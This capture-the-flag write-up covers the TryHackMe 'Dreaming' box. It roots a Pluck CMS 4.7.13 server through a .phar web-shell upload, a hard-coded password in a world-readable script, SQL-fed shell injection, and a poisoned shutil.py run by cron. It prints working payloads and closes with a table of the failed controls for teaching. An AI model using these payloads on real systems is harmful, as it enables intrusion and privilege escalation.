TryHackMe · Linux · Web → Root
A stock Apache box hiding a Pluck CMS 4.7.13 on the second pass of content discovery. Two misconfigurations in the same CMS (a .phar upload and a world-readable helper script) hand over the first two users, and a cron job importing a group-writable Python standard-library file gives the third. Three flags, one box.
Full TCP sweep returns a very short list — SSH and HTTP:
<target>: discovered 2 open TCP port(s) after checking 65535/65535 22/tcp ssh OpenSSH 80/tcp http Apache httpd 2.4.41 (Ubuntu) HTTP inspection: http://<target>:80/ → 200 "Apache2 Ubuntu Default Page: It works" (10918 bytes)
A tiny first content pass (10 requests) finds nothing, which is the first red herring — the application lives one directory down.
A wider bounded pass with a curated wordlist surfaces /app, which redirects to a directory listing:
GET /app/ → 200 "Index of /app"
GET /app/pluck-4.7.13/ → 302 → ?file=dreaming
GET /app/pluck-4.7.13/?file=dreaming → 200 title "dreaming - dreaming"
# the landing page carries the tell:
admin | powered by pluck
Apache directory listing is enabled on /app/, and the only child is pluck-4.7.13/. That makes this a Pluck CMS 4.7.13 install, and the admin panel is at login.php.
<title>pluck 4.7.13 - log in</title>
<form action="" method="post">
<input name="cont1" size="25" type="password" /> # single field, no username
<input type="text" name="bogus" style="display: none;" />
<input type="submit" name="submit" value="Log in" />
</form>
A password-only login with no lockout. admin is rejected; password is accepted:
<div class="success">Password correct. Logging you in...</div> <meta http-equiv="refresh" content="1; url=admin.php?action=start" /> Set-Cookie: PHPSESSID=…
Dreaming's shell is older than the box. Pluck 4.7.13 stopped running .php uploads a while ago: the file manager renames shell.php to shell.php.txt. Most people stop there. The interesting part is what the blacklist forgot — it only screens a handful of extensions, and .phar sails through:
POST /app/pluck-4.7.13/admin.php?action=files filefile = @shell.php → stored as shell.php.txt ✗ no exec filefile = @x.phtml / .php5 … → stored as *.txt ✗ no exec filefile = @x.phar → stored as x.phar ✓ GET /app/pluck-4.7.13/files/x.phar?c=id uid=33(www-data) gid=33(www-data) groups=33(www-data)
.phar is mapped to the PHP handler, so a one-line <?php system($_GET["c"]); ?> gives command execution as www-data and a foothold on the box.
Nothing in the web root, so look at what www-data can read that it shouldn't. /opt is unremarkable except for one world-readable script that the previous admin clearly meant to delete:
-rwxr-xr-x 1 lucien lucien 483 /opt/test.py
import requests
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "<redacted>"
data = {"cont1":password, "bogus":"", "submit":"Log+in"}
req = requests.post(url, data=data)
if "Password correct." in req.text:
print("Everything is in proper order. Status Code: " + str(req.status_code))
A health-check for the Pluck login with lucien's password hard-coded in plaintext. Straight onto SSH:
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)
$ cat /home/lucien/lucien_flag.txt
THM{TH3_L1BR...
Note the adm group — later that is worth reading logs with.
sudo -l is the pivot:
User lucien may run the following commands on ip-<target>:
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
That script reads a MySQL library.dreams table and builds a shell command from the rows — with shell=True:
for dreamer, dream in hearts:
command = f"echo {dreamer} + {dream}" # dream is attacker-controlled
shell = subprocess.check_output(command, text=True, shell=True)
So a row whose dream starts with ; runs anything, as whoever the script runs as. lucien holds INSERT on that table (visible in /home/death/.mysql_history) and can run the script as death:
mysql> INSERT INTO dreams (dreamer,dream) VALUES
('x','; cp /home/death/death_flag.txt /tmp/df; chmod 644 /tmp/df');
$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
$ cat /tmp/df
THM{1M_TH3R3...
lucien is in adm, so /var/log/syslog is readable — and it hands over the last piece for free:
Oct 1 20:26:01 … CRON[…]: (morpheus) CMD (/usr/bin/python3.8 /home/morpheus/restore.py)
Oct 1 20:27:01 … CRON[…]: (morpheus) CMD (/usr/bin/python3.8 /home/morpheus/restore.py)
# … once a minute, forever
restore.py backs up a file with shutil. Check the permissions on that module:
-rw-rw-r-- 1 root death 51474 /usr/lib/python3.8/shutil.py
# group-writable by death — and we are death
$ cat /home/morpheus/restore.py
from shutil import copy2 as backup
backup("/home/morpheus/kingdom", "/kingdom_backup/kingdom")
Append a payload to shutil.py as death; the next time the morpheus cron imports it, the payload runs as morpheus:
# as death:
$ echo 'import os; os.system("cp /home/morpheus/morpheus_flag.txt /tmp/mf; chmod 644 /tmp/mf")' \
>> /usr/lib/python3.8/shutil.py
# up to 60 s later, the cron's python3.8 imports shutil:
$ cat /tmp/mf
THM{DR34MS_5H...
Three separate controls were each one line away from stopping this:
| Step | Control that failed |
|---|---|
.phar upload | Upload blacklist screened .php, .phtml, .php5, .php7, .pht — but not .phar, which Apache still maps to the PHP handler. |
| lucien | A password only existed in a script that should never have been world-readable, and reused on SSH. |
| morpheus | A standard-library file (shutil.py) was group-writable by a low-privileged user, and a cron ran a script that imports it. Standard library must never be group-writable, and cron scripts should never import from a writable path. |
/app/files/x.phar/opt/test.pygetDreams.pyINSERT + shell=Trueshutil.py + cron